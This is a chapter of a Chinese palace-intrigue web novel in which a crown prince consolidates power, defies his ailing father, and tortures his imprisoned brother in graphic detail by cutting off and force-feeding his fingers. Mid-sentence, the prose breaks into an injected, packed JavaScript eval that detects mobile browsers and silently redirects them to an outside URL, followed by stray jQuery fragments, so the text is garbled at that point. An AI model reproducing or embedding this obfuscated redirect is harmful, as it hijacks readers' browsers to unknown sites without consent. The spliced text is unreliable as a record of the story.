28. 第28章

作品:《太子妃逃婚记

    太子殿下启程回京后,没多久,三皇子及其麾下的人很快就被清算。


    四皇子的人也受到了重挫,皇后断了韦家的路,而史家人也因四皇子选择暂时隐忍退居,皇后彻底没辙,不得不让五皇子将监国权重新交出。


    太子殿下洗刷了冤屈,重新掌握监国大权,朝中那些人又渐渐改变了风向。


    皇帝因为三皇子做出弑兄嫁祸的事,病情更加一落千丈。


    朝臣们日夜担心,担心哪一天皇帝突然驾崩,朝局变乱。


    那些由始至终坚定拥护太子的臣子如今倒是吃下了定心丸,而那些看好五皇子的人,在太子殿下回归了之后,都在瑟瑟发抖,生怕被清算。


    只李隆祯掩饰得挺不错,重新回来监国好一段时间,依旧维持朝政原来的安排,只在处理某些不合理的政策时,把人提审。


    如此之后,那些人倒也渐渐安下了心,对太子殿下心存感激,兢兢业业地继续效力。


    只是又过了一段时间,那些曾经拥护过五皇子的朝臣,慢慢的...都被监察司陆陆续续查出了贪墨。


    而那些贪墨的证据,又大多都是出自四皇子的人,如此以往,那些臣子互相之间生了猜忌。


    李隆祯不费什么心力,就打压了对手,还让朝政保持了平衡。


    一切事情都如他所预计的一样进行,所有都还在他的掌控之中,除了他在南下收集罪证的时间比预期长了一些,一切都还是如期进展着。


    但唯一不可控制的,是他的心。


    他觉得,自从他从苏州回来,心就变得不一样了。


    住在东宫偌大的宫殿里,一个人对着空荡荡的寝室,时常会想起从前受伤和苏苏挤一个房间的情景,会想起被赶到村落,苏苏为他租赁的小院,简单而温馨的日子。


    那时候,他手脚动不了,她就会搬凳子坐在他旁边,为他膝盖上盖一条毛毯,生一个火炉,给他剥橘子,为他抚琴。


    有下臣提醒他,殿下该选妃了。


    李隆祯的确该选太子妃了,寻常皇子十六岁身边就配晓事女官,十八岁大婚,到了二十二岁这个年纪,已经妻妾成群,儿女成群了。


    他的三皇弟和四皇弟只比他小一岁,几年前就已经分别婚配了韦家、史家的嫡女,而他终日忙于分担父皇的烂摊子,至今都不曾考虑过自己的婚事。


    李隆祯在南下之前,曾向皇帝透露过,自己属意程丞相家的程甯姝。


    这皇帝虽然不是个称职的丈夫和爹,但好在还没有完全泯灭良心。


    当年元后崔氏再怎么样都是助他登位之人,后来崔家人在朝中话语权日渐变高,他日日担心崔氏造反,便默许太原王氏的起复,把崔家人拉下马,崔后和两皇子打入冷宫。


    他深知这个孩子从前日子过得不好,他如今需要仰仗他,大晋需要仰仗他,他喜欢的女子,即使谣传他畏罪自戕了的那段时间,王皇后三番几次替五皇子来求娶,皇帝都没有给他赐婚。


    如今太子回来了,皇帝就觉得,是时候给太子赐婚了。


    “父皇,不着急,儿臣还是觉得稳住朝政为要紧,婚事暂时...”


    “吾儿啊,如今王家的人都被你拿捏住了,现下大晋境内暂时平稳,也无战事,还有什么要顾虑的呢?人家程丞相的女儿年纪不小,来年就十八了,在大晋,女子十五及笄就该嫁人了,女子十八未嫁已经晚婚了,你若真心喜爱人家,何不就现在趁着朕还能提得动笔,给你下一道婚旨?”


    “再说了,朕如今身体一日不如一日了,你若不早日大婚稳住朝纲,日后朕不在的时候你如何压住那些大世家?”


    “你动了韦家和史家,可那些世家大族都是一体的,你只能跟程丞相连成一线才能对抗得了啊,所以父皇之前在未知你生死之前,依旧不肯同意老五的婚事,是想为你留一线生机啊!”


    “祯儿,你能否看在父皇的份上,饶你三弟一条性命?父皇知道他罪该万死,但你们毕竟是亲手足,他背后是韦家,你留他一命,韦家人自然也不会做得过激,你也有转圜的机会啊。”


    皇帝说了那么多,原来就是想求他留李裕基一命。


    李隆祯唇角弯了弯,维持着一贯的温文优雅,只是眼底凉意多了几分,


    “父皇此话恐怕有些歧异呢...”


    “五皇弟求赐婚父皇不答应,不过是忌惮如今的王氏了,不可再让程家跟他们连成一线罢了,绝不是为了儿臣。”


    “还有,父皇你当父亲那么多年了,从前也不曾真正理会过儿女的生死,儿臣从前冷宫中还有个刚出生不久的妹妹呢,父皇难道忘了吗?就算崔氏果真有罪,儿臣那刚出生不久的妹妹,何罪之有?”


    “父皇你怜悯你犯下滔天罪孽,吸食民脂民膏的儿子,怎么当年不怜悯怜悯你刚出生的小女儿?”


    太子的话让病榻上的皇帝脸色难看了几分,“祯儿你...咳咳咳...咳咳...你在怪罪咳咳咳咳咳...”


    “父皇好好保重身体,儿臣就不叨扰了,至于大婚的事,儿臣早有打算,就不劳父皇操心了,儿臣告退。”


    李隆祯转身离开,很快来到东宫收押李裕基的地牢。


    本来给皇子定罪的衙门是邢部,就算要收押也理应暂时收押在邢部天牢。


    但太子殿下说了,李裕基是三皇子,不可去邢部那种地方,自该由他亲自关押审问。


    如今东宫又重新有了监国权,邢部的人再想包庇,也不能不从。


    东宫地牢中,昏暗潮湿的空间,只有一盏微弱烛火,可视清大致的人影。


    李裕基被从苏州城缉拿送来这个牢房,已经有好一段时日了,他如今瘦得已经脱了形,双手被束在长枷上,仔细走近一看,就会发现他手指已经不剩几根了。


    “怎么,他还没把前年山南工程款下落招供出来吗?”


    太子殿下眼皮微掀,吓得架子上的人慌忙自己招道:“招了招了!皇兄我错了!认了认了!我全部都认了!别砍我手指了!别砍了!别砍了!!”


    看着他一副窝囊的模样,李隆祯缓缓走近,亲自摘下他戴在右手大拇指上的玉扳指,目无表情道:“当初你把她手指砍下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297379|165289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,用的就是这只手吧?”


    “对吧,应该是这么握刀...用这个角度...然后——”


    阴森的牢房深处忽闻一声尖利的惨叫。


    只见太子殿下眼睛猩红,将一截刚剁下来的断指,强行塞进李裕基嘴里。


    “皇兄...皇兄!我错了!!错了!!不要...不要...”


    李裕基“呕”一声将胃里的酸水都吐了个底朝天,但李隆祯用帕子擦干净手指,继续面无表情地往他嘴里塞。


    “你砍她手指时,可曾想过会有这么一天?嗯??”


    “那时候怎么不知道怜悯他人了?”


    驻守地牢的狱卒也不敢细看那场景。


    李裕基好不容易吞下自己的指头,他又想吐,可他已经反复吐好几回,也被强塞进去好几回了,他不想再经受一遍身心的摧折,就只能强忍着自己不吐。


    一想到如今自己这落得一败涂地的处境,他就忍不住哭笑起来,


    “哈哈哈...李隆祯,你别在这里装好人了,我残忍不择手段不是东西,难道你就是个好东西了?”


    “倘若你没有把她当成棋子,我又怎能把她手指剁掉?”李裕基虚弱地笑道,“所以...是你不要她的,导致这一切发生的人是你...”


    李隆祯站在暗处,盯着他仅剩的最后一根手指,轻轻嘱咐身边的下属:“剩一只,剁了吧。”


    说完,他安静地转身离开地牢。


    可李裕基的话一直在他耳边回响。


    是啊...倘若他不是拿她当棋子在先,利用她把假账本给李裕基的话,又怎么会...


    ·


    又是辗转难眠的一夜,李隆祯睡不着干脆起来处理公事,发现一个字都看不下,便把文书都收了,开始练字画画。


    练了一夜,画了一夜,最后发现自己画了无数张树下抚琴的苏苏、无数张桥上看灯的苏苏、无数张或笑或站、或静坐的苏苏,每一张都神态各异,连在一起就仿佛曾经生活在一起的点点滴滴,所练的字,也皆是一个“苏”字。


    李隆祯觉得自己病了,得了很严重的病。


    他明明想不得苏苏,一想起来心脏就会刺痛难忍,可却偏偏无意识画下了许多个她。


    他想起她说过,她想嫁人是为了死后能有一块牌位,于是,他就在寿岁山旁边的景福山替她立了坟,在自己宫殿里悄悄给她立了无名牌位。


    可过了没多久,因为皇陵修葺工程,一些臣子很快发现了景福山无名坟碑的事,进而上奏了。


    “景福山虽然不是皇脉所在,可历年来能在景福山立坟的都是能生下皇嗣的嫔妃,或是有功的臣子,现在居然没有任何提奏请的情况下,有人悄悄在景福山立坟,此事相当严重。”


    “臣认为,应当尽快将其起坟毁掉,以免有人将毁坏龙脉风水的东西葬入其中。”


    “附议。”“臣附议。”“臣也附议。”


    太子越听越气,气在头上,鬼使神差便开口来了句:


    “那是孤的太子妃,谁要动她坟的,站出来。”